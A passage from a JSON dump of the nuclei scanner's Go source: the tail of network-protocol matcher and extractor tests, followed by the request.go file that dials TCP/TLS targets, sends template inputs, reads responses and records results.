compile network request\")\n\n\treq := \"test-data\\r\\n\"\n\tresp := \"resp-data\\r\\n\"\n\tevent := request.responseToDSLMap(req, resp, \"test\", \"one.one.one.one\", \"one.one.one.one\")\n\trequire.Len(t, event, 9, \"could not get correct number of items in dsl map\")\n\trequire.Equal(t, resp, event[\"data\"], \"could not get correct resp\")\n}\n\nfunc TestNetworkOperatorMatch(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-network\"\n\trequest := &Request{\n\t\tID:       templateID,\n\t\tAddress:  []string{\"{{Hostname}}\"},\n\t\tReadSize: 1024,\n\t\tInputs:   []*Input{{Data: \"test-data\\r\\n\"}},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile network request\")\n\n\treq := \"test-data\\r\\n\"\n\tresp := \"resp-data\\r\\nSTAT \\r\\n\"\n\tevent := request.responseToDSLMap(req, resp, \"one.one.one.one\", \"one.one.one.one\", \"test\")\n\n\tt.Run(\"valid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"body\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"STAT \"},\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid response\")\n\t\trequire.Equal(t, matcher.Words, matched)\n\t})\n\n\tt.Run(\"negative\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:     \"data\",\n\t\t\tType:     matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tNegative: true,\n\t\t\tWords:    []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile negative matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid negative response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"invalid\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:  \"data\",\n\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords: []string{\"random\"},\n\t\t}\n\t\terr := matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.False(t, isMatched, \"could match invalid response matcher\")\n\t\trequire.Equal(t, []string{}, matched)\n\t})\n\n\tt.Run(\"caseInsensitive\", func(t *testing.T) {\n\t\tmatcher := &matchers.Matcher{\n\t\t\tPart:            \"body\",\n\t\t\tType:            matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\tWords:           []string{\"rESp-DAta\"},\n\t\t\tCaseInsensitive: true,\n\t\t}\n\t\terr = matcher.CompileMatchers()\n\t\trequire.Nil(t, err, \"could not compile matcher\")\n\n\t\treq := \"TEST-DATA\\r\\n\"\n\t\tresp := \"RESP-DATA\\r\\nSTAT \\r\\n\"\n\t\tevent := request.responseToDSLMap(req, resp, \"one.one.one.one\", \"one.one.one.one\", \"TEST\")\n\n\t\tisMatched, matched := request.Match(event, matcher)\n\t\trequire.True(t, isMatched, \"could not match valid response\")\n\t\trequire.Equal(t, []string{\"resp-data\"}, matched)\n\t})\n}\n\nfunc TestNetworkOperatorExtract(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-network\"\n\trequest := &Request{\n\t\tID:       templateID,\n\t\tAddress:  []string{\"{{Hostname}}\"},\n\t\tReadSize: 1024,\n\t\tInputs:   []*Input{{Data: \"test-data\\r\\n\"}},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile network request\")\n\n\treq := \"test-data\\r\\n\"\n\tresp := \"resp-data\\r\\nSTAT \\r\\n1.1.1.1\\r\\n\"\n\tevent := request.responseToDSLMap(req, resp, \"one.one.one.one\", \"one.one.one.one\", \"test\")\n\n\tt.Run(\"extract\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tPart:  \"data\",\n\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor valid response\")\n\t\trequire.Equal(t, map[string]struct{}{\"1.1.1.1\": {}}, data, \"could not extract correct data\")\n\t})\n\n\tt.Run(\"kval\", func(t *testing.T) {\n\t\textractor := &extractors.Extractor{\n\t\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.KValExtractor},\n\t\t\tKVal: []string{\"request\"},\n\t\t}\n\t\terr = extractor.CompileExtractors()\n\t\trequire.Nil(t, err, \"could not compile kval extractor\")\n\n\t\tdata := request.Extract(event, extractor)\n\t\trequire.Greater(t, len(data), 0, \"could not extractor kval valid response\")\n\t\trequire.Equal(t, map[string]struct{}{req: {}}, data, \"could not extract correct kval data\")\n\t})\n}\n\nfunc TestNetworkMakeResult(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-network\"\n\trequest := &Request{\n\t\tID:       templateID,\n\t\tAddress:  []string{\"{{Hostname}}\"},\n\t\tReadSize: 1024,\n\t\tInputs:   []*Input{{Data: \"test-data\\r\\n\"}},\n\t\tOperators: operators.Operators{\n\t\t\tMatchers: []*matchers.Matcher{{\n\t\t\t\tName:  \"test\",\n\t\t\t\tPart:  \"data\",\n\t\t\t\tType:  matchers.MatcherTypeHolder{MatcherType: matchers.WordsMatcher},\n\t\t\t\tWords: []string{\"STAT \"},\n\t\t\t}},\n\t\t\tExtractors: []*extractors.Extractor{{\n\t\t\t\tPart:  \"data\",\n\t\t\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.RegexExtractor},\n\t\t\t\tRegex: []string{\"[0-9]+\\\\.[0-9]+\\\\.[0-9]+\\\\.[0-9]+\"},\n\t\t\t}},\n\t\t},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile network request\")\n\n\treq := \"test-data\\r\\n\"\n\tresp := \"resp-data\\rSTAT \\r\\n1.1.1.1\\n\"\n\tevent := request.responseToDSLMap(req, resp, \"one.one.one.one\", \"one.one.one.one\", \"test\")\n\tfinalEvent := &output.InternalWrappedEvent{InternalEvent: event}\n\tevent[\"ip\"] = \"192.168.1.1\"\n\tif request.CompiledOperators != nil {\n\t\tresult, ok := request.CompiledOperators.Execute(event, request.Match, request.Extract, false)\n\t\tif ok && result != nil {\n\t\t\tfinalEvent.OperatorsResult = result\n\t\t\tfinalEvent.Results = request.MakeResultEvent(finalEvent)\n\t\t}\n\t}\n\trequire.Equal(t, 1, len(finalEvent.Results), \"could not get correct number of results\")\n\trequire.Equal(t, \"test\", finalEvent.Results[0].MatcherName, \"could not get correct matcher name of results\")\n\trequire.Equal(t, \"1.1.1.1\", finalEvent.Results[0].ExtractedResults[0], \"could not get correct extracted results\")\n}\n"
  },
  {
    "path": "pkg/protocols/network/request.go",
    "content": "package network\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\tmaps0 \"maps\"\n\t\"net\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"go.uber.org/multierr\"\n\t\"golang.org/x/exp/maps\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"github.com/projectdiscovery/utils/reader\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\nvar _ protocols.Request = &Request{}\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.NetworkProtocol\n}\n\n// getOpenPorts returns all open ports from list of ports provided in template\n// if only 1 port is provided, no need to check if port is open or not\nfunc (request *Request) getOpenPorts(target *contextargs.Context) ([]string, error) {\n\tif len(request.ports) == 1 {\n\t\t// no need to check if port is open or not\n\t\treturn request.ports, nil\n\t}\n\terrs := []error{}\n\t// if more than 1 port is provided, check if port is open or not\n\topenPorts := make([]string, 0)\n\tfor _, port := range request.ports {\n\t\tcloned := target.Clone()\n\t\tif err := cloned.UseNetworkPort(port, request.ExcludePorts); err != nil {\n\t\t\terrs = append(errs, err)\n\t\t\tcontinue\n\t\t}\n\t\taddr, err := getAddress(cloned.MetaInput.Input)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t\tcontinue\n\t\t}\n\t\tif request.dialer == nil {\n\t\t\trequest.dialer, _ = networkclientpool.Get(request.options.Options, &networkclientpool.Configuration{})\n\t\t}\n\n\t\tconn, err := request.dialer.Dial(target.Context(), \"tcp\", addr)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t\tcontinue\n\t\t}\n\t\t_ = conn.Close()\n\t\topenPorts = append(openPorts, port)\n\t}\n\tif len(openPorts) == 0 {\n\t\treturn nil, multierr.Combine(errs...)\n\t}\n\treturn openPorts, nil\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(target *contextargs.Context, metadata, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tvisitedAddresses := make(mapsutil.Map[string, struct{}])\n\n\tif request.Port == \"\" {\n\t\t// backwords compatibility or for other use cases\n\t\t// where port is not provided in template\n\t\tif err := request.executeOnTarget(target, visitedAddresses, metadata, previous, callback); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// get open ports from list of ports provided in template\n\tports, err := request.getOpenPorts(target)\n\tif len(ports) == 0 {\n\t\treturn err\n\t}\n\tif err != nil {\n\t\t// TODO: replace this after scan context is implemented\n\t\tgologger.Verbose().Msgf(\"[%v] got errors while checking open ports: %s\\n\", request.options.TemplateID, err)\n\t}\n\n\t// stop at first match if requested\n\tatomicBool := &atomic.Bool{}\n\tshouldStopAtFirstMatch := request.StopAtFirstMatch || request.options.StopAtFirstMatch || request.options.Options.StopAtFirstMatch\n\twrappedCallback := func(event *output.InternalWrappedEvent) {\n\t\tif event != nil && event.HasOperatorResult() {\n\t\t\tatomicBool.Store(true)\n\t\t}\n\t\tcallback(event)\n\t}\n\n\tfor _, port := range ports {\n\t\tinput := target.Clone()\n\t\t// use network port updates input with new port requested in template file\n\t\t// and it is ignored if input port is not standard http(s) ports like 80,8080,8081 etc\n\t\t// idea is to reduce redundant dials to http ports\n\t\tif err := input.UseNetworkPort(port, request.ExcludePorts); err != nil {\n\t\t\tgologger.Debug().Msgf(\"Could not network port from constants: %s\\n\", err)\n\t\t}\n\t\tif err := request.executeOnTarget(input, visitedAddresses, metadata, previous, wrappedCallback); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif shouldStopAtFirstMatch && atomicBool.Load() {\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (request *Request) executeOnTarget(input *contextargs.Context, visited mapsutil.Map[string, struct{}], metadata, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tvar address string\n\tvar err error\n\tif request.isUnresponsiveAddress(input) {\n\t\t// skip on unresponsive address no need to continue\n\t\treturn nil\n\t}\n\n\tif request.SelfContained {\n\t\taddress = \"\"\n\t} else {\n\t\taddress, err = getAddress(input.MetaInput.Input)\n\t}\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, input.MetaInput.Input, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, \"could not get address from url\")\n\t}\n\tvariables := protocolutils.GenerateVariables(address, false, nil)\n\t// add template ctx variables to varMap\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\tvariables = generators.MergeMaps(variables, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\tvariablesMap := request.options.Variables.Evaluate(variables)\n\tvariables = generators.MergeMaps(variablesMap, variables, request.options.Constants)\n\n\t// stop at first match if requested\n\tatomicBool := &atomic.Bool{}\n\tshouldStopAtFirstMatch := request.StopAtFirstMatch || request.options.StopAtFirstMatch || request.options.Options.StopAtFirstMatch\n\twrappedCallback := func(event *output.InternalWrappedEvent) {\n\t\tif event != nil && event.HasOperatorResult() {\n\t\t\tatomicBool.Store(true)\n\t\t}\n\t\tcallback(event)\n\t}\n\n\tfor _, kv := range request.addresses {\n\t\tselect {\n\t\tcase <-input.Context().Done():\n\t\t\treturn input.Context().Err()\n\t\tdefault:\n\t\t}\n\n\t\tactualAddress := replacer.Replace(kv.address, variables)\n\n\t\tif visited.Has(actualAddress) && !request.options.Options.DisableClustering {\n\t\t\tcontinue\n\t\t}\n\t\tvisited.Set(actualAddress, struct{}{})\n\t\tif err = request.executeAddress(variables, actualAddress, address, input, kv.tls, previous, wrappedCallback); err != nil {\n\t\t\toutputEvent := request.responseToDSLMap(\"\", \"\", \"\", address, \"\")\n\t\t\tcallback(&output.InternalWrappedEvent{InternalEvent: outputEvent})\n\t\t\tgologger.Warning().Msgf(\"[%v] Could not make network request for (%s) : %s\\n\", request.options.TemplateID, actualAddress, err)\n\t\t}\n\t\tif shouldStopAtFirstMatch && atomicBool.Load() {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn err\n}\n\n// executeAddress executes the request for an address\nfunc (request *Request) executeAddress(variables map[string]interface{}, actualAddress, address string, input *contextargs.Context, shouldUseTLS bool, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tvariables = generators.MergeMaps(variables, map[string]interface{}{\"Hostname\": address})\n\tpayloads := generators.BuildPayloadFromOptions(request.options.Options)\n\n\tif !strings.Contains(actualAddress, \":\") {\n\t\terr := errors.New(\"no port provided in network protocol request\")\n\t\trequest.options.Output.Request(request.options.TemplatePath, address, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn err\n\t}\n\tupdatedTarget := input.Clone()\n\tupdatedTarget.MetaInput.Input = actualAddress\n\n\t// if request threads matches global payload concurrency we follow it\n\tshouldFollowGlobal := request.Threads == request.options.Options.PayloadConcurrency\n\n\tif request.generator != nil {\n\t\titerator := request.generator.NewIterator()\n\t\tvar multiErr error\n\t\tm := &sync.Mutex{}\n\t\tswg, err := syncutil.New(syncutil.WithSize(request.Threads))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor {\n\t\t\tvalue, ok := iterator.Value()\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tselect {\n\t\t\tcase <-input.Context().Done():\n\t\t\t\treturn input.Context().Err()\n\t\t\tdefault:\n\t\t\t}\n\n\t\t\t// resize check point - nop if there are no changes\n\t\t\tif shouldFollowGlobal && swg.Size != request.options.Options.PayloadConcurrency {\n\t\t\t\tif err := swg.Resize(input.Context(), request.options.Options.PayloadConcurrency); err != nil {\n\t\t\t\t\tm.Lock()\n\t\t\t\t\tmultiErr = multierr.Append(multiErr, err)\n\t\t\t\t\tm.Unlock()\n\t\t\t\t}\n\t\t\t}\n\t\t\tif request.isUnresponsiveAddress(updatedTarget) {\n\t\t\t\t// skip on unresponsive address no need to continue\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tvalue = generators.MergeMaps(value, payloads)\n\t\t\tswg.Add()\n\t\t\tgo func(vars map[string]interface{}) {\n\t\t\t\tdefer swg.Done()\n\t\t\t\tif request.isUnresponsiveAddress(updatedTarget) {\n\t\t\t\t\t// skip on unresponsive address no need to continue\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif err := request.executeRequestWithPayloads(variables, actualAddress, address, input, shouldUseTLS, vars, previous, callback); err != nil {\n\t\t\t\t\tm.Lock()\n\t\t\t\t\tmultiErr = multierr.Append(multiErr, err)\n\t\t\t\t\tm.Unlock()\n\t\t\t\t}\n\t\t\t}(value)\n\t\t}\n\t\tswg.Wait()\n\t\tif multiErr != nil {\n\t\t\treturn multiErr\n\t\t}\n\t} else {\n\t\tvalue := maps.Clone(payloads)\n\t\tif err := request.executeRequestWithPayloads(variables, actualAddress, address, input, shouldUseTLS, value, previous, callback); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (request *Request) executeRequestWithPayloads(variables map[string]interface{}, actualAddress, address string, input *contextargs.Context, shouldUseTLS bool, payloads map[string]interface{}, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tvar (\n\t\thostname string\n\t\tconn     net.Conn\n\t\terr      error\n\t)\n\tif host, _, err := net.SplitHostPort(actualAddress); err == nil {\n\t\thostname = host\n\t}\n\tupdatedTarget := input.Clone()\n\tupdatedTarget.MetaInput.Input = actualAddress\n\n\tif request.isUnresponsiveAddress(updatedTarget) {\n\t\t// skip on unresponsive address no need to continue\n\t\treturn nil\n\t}\n\n\tif shouldUseTLS {\n\t\tconn, err = request.dialer.DialTLS(input.Context(), \"tcp\", actualAddress)\n\t} else {\n\t\tconn, err = request.dialer.Dial(input.Context(), \"tcp\", actualAddress)\n\t}\n\t// adds it to unresponsive address list if applicable\n\trequest.markHostError(updatedTarget, err)\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, address, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, \"could not connect to server\")\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\t_ = conn.SetDeadline(time.Now().Add(time.Duration(request.options.Options.Timeout) * time.Second))\n\n\tvar interactshURLs []string\n\n\tvar responseBuilder, reqBuilder strings.Builder\n\n\tinterimValues := generators.MergeMaps(variables, payloads)\n\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"Network Protocol request variables: %s\\n\", vardump.DumpVariables(interimValues))\n\t}\n\n\tinputEvents := make(map[string]interface{})\n\n\tfor _, input := range request.Inputs {\n\t\tdataInBytes := []byte(input.Data)\n\t\tvar err error\n\n\t\tdataInBytes, err = expressions.EvaluateByte(dataInBytes, interimValues)\n\t\tif err != nil {\n\t\t\trequest.options.Output.Request(request.options.TemplatePath, address, request.Type().String(), err)\n\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\treturn errors.Wrap(err, \"could not evaluate template expressions\")\n\t\t}\n\n\t\tdata := string(dataInBytes)\n\t\tif request.options.Interactsh != nil {\n\t\t\tdata, interactshURLs = request.options.Interactsh.Replace(data, []string{})\n\t\t\tdataInBytes = []byte(data)\n\t\t}\n\n\t\treqBuilder.Write(dataInBytes)\n\n\t\tif err := expressions.ContainsUnresolvedVariables(data); err != nil {\n\t\t\tgologger.Warning().Msgf(\"[%s] Could not make network request for %s: %v\\n\", request.options.TemplateID, actualAddress, err)\n\t\t\treturn nil\n\t\t}\n\n\t\tif input.Type.GetType() == hexType {\n\t\t\tdataInBytes, err = hex.DecodeString(data)\n\t\t\tif err != nil {\n\t\t\t\trequest.options.Output.Request(request.options.TemplatePath, address, request.Type().String(), err)\n\t\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\t\treturn errors.Wrap(err, \"could not write request to server\")\n\t\t\t}\n\t\t}\n\n\t\tif _, err := conn.Write(dataInBytes); err != nil {\n\t\t\trequest.options.Output.Request(request.options.TemplatePath, address, request.Type().String(), err)\n\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\treturn errors.Wrap(err, \"could not write request to server\")\n\t\t}\n\n\t\tif input.Read > 0 {\n\t\t\tbuffer, err := ConnReadNWithTimeout(conn, int64(input.Read), request.options.Options.GetTimeouts().TcpReadTimeout)\n\t\t\tif err != nil {\n\t\t\t\treturn errkit.Wrap(err, \"could not read response from connection\")\n\t\t\t}\n\n\t\t\tresponseBuilder.Write(buffer)\n\n\t\t\tbufferStr := string(buffer)\n\t\t\tif input.Name != \"\" {\n\t\t\t\tinputEvents[input.Name] = bufferStr\n\t\t\t\tinterimValues[input.Name] = bufferStr\n\t\t\t}\n\n\t\t\t// Run any internal extractors for the request here and add found values to map.\n\t\t\tif request.CompiledOperators != nil {\n\t\t\t\tvalues := request.CompiledOperators.ExecuteInternalExtractors(map[string]interface{}{input.Name: bufferStr}, request.Extract)\n\t\t\t\tmaps0.Copy(payloads, values)\n\t\t\t}\n\t\t}\n\t}\n\n\trequest.options.Progress.IncrementRequests()\n\n\tif request.options.Options.Debug || request.options.Options.DebugRequests || request.options.Options.StoreResponse {\n\t\trequestBytes := []byte(reqBuilder.String())\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped Network request for %s\\n%s\", request.options.TemplateID, actualAddress, hex.Dump(requestBytes))\n\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\tgologger.Info().Str(\"address\", actualAddress).Msg(msg)\n\t\t}\n\t\tif request.options.Options.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(address, request.options.TemplateID, request.Type().String(), msg)\n\t\t}\n\t\tif request.options.Options.VerboseVerbose {\n\t\t\tgologger.Print().Msgf(\"\\nCompact HEX view:\\n%s\", hex.EncodeToString(requestBytes))\n\t\t}\n\t}\n\n\trequest.options.Output.Request(request.options.TemplatePath, actualAddress, request.Type().String(), err)\n\tgologger.Verbose().Msgf(\"Sent TCP request to %s\", actualAddress)\n\n\tbufferSize := 1024\n\tif request.ReadSize != 0 {\n\t\tbufferSize = request.ReadSize\n\t}\n\tif request.ReadAll {\n\t\tbufferSize = -1\n\t}\n\n\tfinal, err := ConnReadNWithTimeout(conn, int64(bufferSize), request.options.Options.GetTimeouts().TcpReadTimeout)\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, address, request.Type().String(), err)\n\t\tgologger.Verbose().Msgf(\"could not read more data from %s: %s\", actualAddress, err)\n\t}\n\tresponseBuilder.Write(final)\n\n\tresponse := responseBuilder.String()\n\toutputEvent := request.responseToDSLMap(reqBuilder.String(), string(final), response, input.MetaInput.Input, actualAddress)\n\t// add response fields to template context and merge templatectx variables to output event\n\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.ID, outputEvent)\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\toutputEvent = generators.MergeMaps(outputEvent, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\toutputEvent[\"ip\"] = request.dialer.GetDialedIP(hostname)\n\tif request.options.StopAtFirstMatch {\n\t\toutputEvent[\"stop-at-first-match\"] = true\n\t}\n\tmaps0.Copy(outputEvent, previous)\n\tmaps0.Copy(outputEvent, interimValues)\n\tmaps0.Copy(outputEvent, inputEvents)\n\tif request.options.Interactsh != nil {\n\t\trequest.options.Interactsh.MakePlaceholders(interactshURLs, outputEvent)\n\t}\n\n\tvar event *output.InternalWrappedEvent\n\tif len(interactshURLs) == 0 {\n\t\tevent = eventcreator.CreateEventWithAdditionalOptions(request, generators.MergeMaps(payloads, outputEvent), request.options.Options.Debug || request.options.Options.DebugResponse, func(wrappedEvent *output.InternalWrappedEvent) {\n\t\t\twrappedEvent.OperatorsResult.PayloadValues = payloads\n\t\t})\n\t\tcallback(event)\n\t} else if request.options.Interactsh != nil {\n\t\tevent = &output.InternalWrappedEvent{InternalEvent: outputEvent}\n\t\trequest.options.Interactsh.RequestEvent(interactshURLs, &interactsh.RequestData{\n\t\t\tMakeResultFunc: request.MakeResultEvent,\n\t\t\tEvent:          event,\n\t\t\tOperators:      request.CompiledOperators,\n\t\t\tMatchFunc:      request.Match,\n\t\t\tExtractFunc:    request.Extract,\n\t\t})\n\t}\n\tif len(interactshURLs) > 0 {\n\t\tevent.UsesInteractsh = true\n\t}\n\n\tdumpResponse(event, request, response, actualAddress, address)\n\n\treturn nil\n}\n\nfunc dumpResponse(event *output.InternalWrappedEvent, request *Request, response string, actualAddress, address string) {\n\tcliOptions := request.options.Options\n\tif cliOptions.Debug || cliOptions.DebugResponse || cliOptions.StoreResponse {\n\t\trequestBytes := []byte(response)\n\t\thighlightedResponse := responsehighlighter.Highlight(event.OperatorsResult, hex.Dump(requestBytes), cliOptions.NoColor, true)\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped Network response for %s\\n\\n\", request.options.TemplateID, actualAddress)\n\t\tif cliOptions.Debug || cliOptions.DebugResponse {\n\t\t\tgologger.Debug().Msg(fmt.Sprintf(\"%s%s\", msg, highlightedResponse))\n\t\t}\n\t\tif cliOptions.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(address, request.options.TemplateID, request.Type().String(), fmt.Sprintf(\"%s%s\", msg, hex.Dump(requestBytes)))\n\t\t}\n\t\tif cliOptions.VerboseVerbose {\n\t\t\tdisplayCompactHexView(event, response, cliOptions.NoColor)\n\t\t}\n\t}\n}\n\nfunc displayCompactHexView(event *output.InternalWrappedEvent, response string, noColor bool) {\n\toperatorsResult := event.OperatorsResult\n\tif operatorsResult != nil {\n\t\tvar allMatches []string\n\t\tfor _, namedMatch := range operatorsResult.Matches {\n\t\t\tfor _, matchElement := range namedMatch {\n\t\t\t\tallMatches = append(allMatches, hex.EncodeToString([]byte(matchElement)))\n\t\t\t}\n\t\t}\n\t\ttempOperatorResult := &operators.Result{Matches: map[string][]string{\"matchesInHex\": allMatches}}\n\t\tgologger.Print().Msgf(\"\\nCompact HEX view:\\n%s\", responsehighlighter.Highlight(tempOperatorResult, hex.EncodeToString([]byte(response)), noColor, false))\n\t}\n}\n\n// getAddress returns the address of the host to make request to\nfunc getAddress(toTest string) (string, error) {\n\tif strings.Contains(toTest, \"://\") {\n\t\tparsed, err := url.Parse(toTest)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\ttoTest = parsed.Host\n\t}\n\treturn toTest, nil\n}\n\nfunc ConnReadNWithTimeout(conn net.Conn, n int64, timeout time.Duration) ([]byte, error) {\n\tswitch n {\n\tcase -1:\n\t\t// if n is -1 then read all available data from connection\n\t\treturn reader.ConnReadNWithTimeout(conn, -1, timeout)\n\tcase 0:\n\t\tn = 4096 // default buffer size\n\t}\n\tb := make([]byte, n)\n\t_ = conn.SetDeadline(time.Now().Add(timeout))\n\tcount, err := conn.Read(b)\n\t_ = conn.SetDeadline(time.Time{})\n\tif err != nil && os.IsTimeout(err) && count > 0 {\n\t\t// in case of timeout with some value read, return the value\n\t\treturn b[:count], nil\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b[:count], nil\n}\n\n// markHostError checks if the error is a unreponsive host error and marks it\nfunc (request *Request) markHostError(input *contextargs.Context, err error) {\n\tif request.options.HostErrorsCache != nil {\n\t\trequest.options.HostErrorsCache.MarkFailedOrRemove(request.options.ProtocolType.String(), input, err)\n\t}\n}\n\n// isUnresponsiveAddress checks if the error is a unreponsive based on its execution history\nfunc (request *Request) isUnresponsiveAddress(input *contextargs.Context) bool {\n\tif request.options.HostErrorsCache != nil {\n\t\treturn request.options.HostErrorsCache.Check(request.options.ProtocolType.String(), input)\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/protocols/network/request_test.go",
